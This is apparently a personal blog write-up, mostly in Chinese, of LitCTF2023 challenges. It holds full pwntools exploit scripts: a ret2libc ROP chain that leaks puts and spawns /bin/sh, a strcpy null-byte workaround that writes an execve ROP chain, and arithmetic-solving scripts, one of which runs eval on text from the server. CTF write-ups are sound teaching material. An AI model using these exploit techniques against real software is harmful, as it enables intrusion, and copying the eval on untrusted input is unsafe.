LitCTF2023

技术28-05-2023

只需要nc一下

echo $FLAG
NSSCTF{ea3b8681-9bee-43a6-86c9-b07f986e16fe}

这种题,先看dockerfile,能在docker里面出现dockerfile,就是骗你的。 dockerfile必定出现在环境外面。 所以,可以理解为里面还有一个环境吧? 我们现在也在这样的一个环境里面,再次按此操作,即可得flag 环境变量就是flag

Welcome to the virtual terminal!
ls
Dockerfile
app.py
cat Dockerfile
FROM python:3.11

COPY . /app

ENV FLAG=NSSCTF{123456}

RUN echo $FLAG > /flag.txt 

WORKDIR /app

EXPOSE 5000
CMD ["python", "app.py"]

dockerfile解释:
这是一个 Dockerfile 文件,它用于构建 Docker 镜像。下面逐行解释每个命令的含义:

FROM python:3.11

该命令表示将使用 python:3.11 镜像作为基础镜像。

COPY . /app

该命令表示将当前目录下的所有文件复制到镜像内的 /app 目录中。

ENV FLAG=NSSCTF{123456}

该命令表示设置环境变量 FLAG 的值为 NSSCTF{123456}。这个环境变量可以在后续的命令中使用。

RUN echo $FLAG > /flag.txt

该命令表示在容器中执行命令 echo $FLAG,并将其输出保存到 /flag.txt 文件中。由于之前设置了 FLAG 环境变量的值为 NSSCTF{123456},所以该命令实际上将 NSSCTF{123456} 写入了 /flag.txt 文件中。

WORKDIR /app

该命令表示设置工作目录为 /app 目录。

EXPOSE 5000

该命令表示将容器内部的 5000 端口暴露出来,允许外部网络连接到该端口。

这种做法是错误的,不愧是大佬。。。

find / -name "flag.txt"
/flag.txt
cat /flag.txt
NSSCTF{123456}

狠狠的溢出涅

记得栈对齐,忘记多少字节了,直接ljust填充

payload1=b""
payload1 = payload1.ljust(offset,b'\x00')
from pwn import *
from LibcSearcher import *
io = remote('node5.anna.nssctf.cn',28610)
#io = process('./pwn4')
#context.log_level ='debug'
elf = ELF('./pwn4')

puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main_addr = elf.symbols['main']

offset = 0x68
pop_rdi = 0x4007d3

payload1=b""
payload1 = payload1.ljust(offset,b'\x00')
payload1 +=   p64(pop_rdi) + p64(puts_got) +  p64(puts_plt) + p64(main_addr)

io.sendline(payload1)

io.recvuntil(b'Ok,Message Received\n')
puts_addr = u64(io.recv(6,timeout=1).ljust(8,b'\x00'))
print(hex(puts_addr))

libc = ELF('./libc-2.31.so')
#libc = elf.libc

base = puts_addr - libc.symbols['puts']

system_addr = base +  	libc.symbols['system']
binsh_addr  = base +  next(libc.search(b'/bin/sh'))

payload2 =b""
payload2 = payload2.ljust(offset,b'\x00')
payload2 +=  p64(pop_rdi) + p64(binsh_addr) + p64(0x400556) + p64(system_addr) 

io.sendline(payload2)
io.interactive()

口算题

逐行提前脚本即可

image.png

from pwn import *
context(log_level='debug',arch='amd64',os='linux')

p = remote("node5.anna.nssctf.cn",28591)

while(1):
    p.recvuntil("What is ")
    a = p.recvuntil(" ")
    b = p.recvuntil(" ")
    c = p.recvuntil("?")
    c = c[:-1]
    a = int(a)
    c = int(c)

    print(a)
    print(b)
    print(c)

    if b"-" in b:
        h = a-c
        print(str(h))
        p.send(str(h))
        print("success")

    if b"+" in b:
        h = a + c
        print(str(h))
        p.send(str(h))
        print("success")



p.interactive()

其他万能脚本

from pwn import *
import re
context.log_level = 'debug'
#io=process("./")
io=remote("node6.anna.nssctf.cn",28273)
#elf=ELF
r = lambda : io.recv()
rx = lambda x: io.recv(x)
ru = lambda x: io.recvuntil(x)
rud = lambda x: io.recvuntil(x, drop=True)
uu64= lambda : u64(io.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
s = lambda x: io.send(x)
sl = lambda x: io.sendline(x)
sa = lambda x, y: io.sendafter(x, y)
sla = lambda x, y: io.sendlineafter(x, y)
shell = lambda : io.interactive()
#libc=elf.libc
r()
while(1):
	a=r()
	a_str = a.decode('utf-8')
	print(a)
	expression = re.search(r'\d+\s*[-+*\/]\s*\d+', a_str).group()
	result = eval(expression)
	print(result)
	sl(str(result))
	sleep(0.3)
shell()

ezlogin

pwn4.pdf

zip文件

https://blog.csdn.net/zzq487782568/article/details/127778545

解决,\x00的问题 从后往前覆盖去修正 注意:提前字节,用切片

image.png
参考学习:https://blog.csdn.net/zzq487782568/article/details/127778545
有个栈溢出,然而这道题的坑点是strcpy遇到\x00就截止了,因此我不得不自己写了个发送函数使得从长往短覆盖。

因为一开始我使用ropchain构造rop链,所以后续的思路也使用rop先写入/bin/sh,后调用系统调用getshell

from pwn import *
context(log_level = 'debug',arch = 'amd64')
io=process("./pwn4")
#io=remote("node5.anna.nssctf.cn",28596)

elf=ELF("./pwn4")
libc=elf.libc

rdi=0x400706
rdx=0x448c95
rsi=0x410043
syscall=0x4012bc
ret=0x400416
rax=0x4005af

def debug(x):
	if(x == 1):
		gdb.attach(io)
		pause()
	else:
		pause()

def sendbuf(payload): #覆盖写
	backup=b""
	for i in range(len(payload), -1, -1):  
		if(payload[i:i+1]==b'\x00'): #当前是\x00,直接发送
			fake = b'a' * 0x108 +b'a'*(i)+ payload[i:i+1]
			sleep(0.2)
			io.send(fake)
		elif((payload[i:i+1]!=b'\x00' and payload[i-1:i]==b'\x00') or i==0): #当前不是0,而前面是0
			fake = b'a' * 0x108 +b'a'*(i)+payload[i:i+1]+backup #补满前面
			sleep(0.2)
			io.send(fake)
			backup=b""
		else: #收录后一次性发出
			temp=backup 
			backup=payload[i:i+1]+temp 

def jumpout(): #跳出
	io.send(b"PASSWORD\x00")

#用ropchain写入/bin/sh,回到start函数开始
p=b''
p += pack(0x0000000000410043) # pop rsi ; ret
p += pack(0x00000000006b90e0) # @ .data
p += pack(0x00000000004005af) # pop rax ; ret
p += b'/bin//sh'
p += pack(0x000000000047f341) # mov qword ptr [rsi], rax ; ret
p += pack(0x0000000000410043) # pop rsi ; ret
p += pack(0x00000000006b90e8) # @ .data + 8
p+=p64(0x400ab0)
sendbuf(p)
jumpout()

#写入syscall
payload = p64(rdi)+p64(0x6b90e0)+p64(rsi)+p64(0)+p64(rdx)+p64(0)+p64(rax)+p64(59)+p64(syscall)
sendbuf(payload)
jumpout()

io.interactive()
Author's photo

HuanXin-Chen

A tech enthusiast and avid sharer, this dream chaser firmly believes that great things will happen!

See other articles: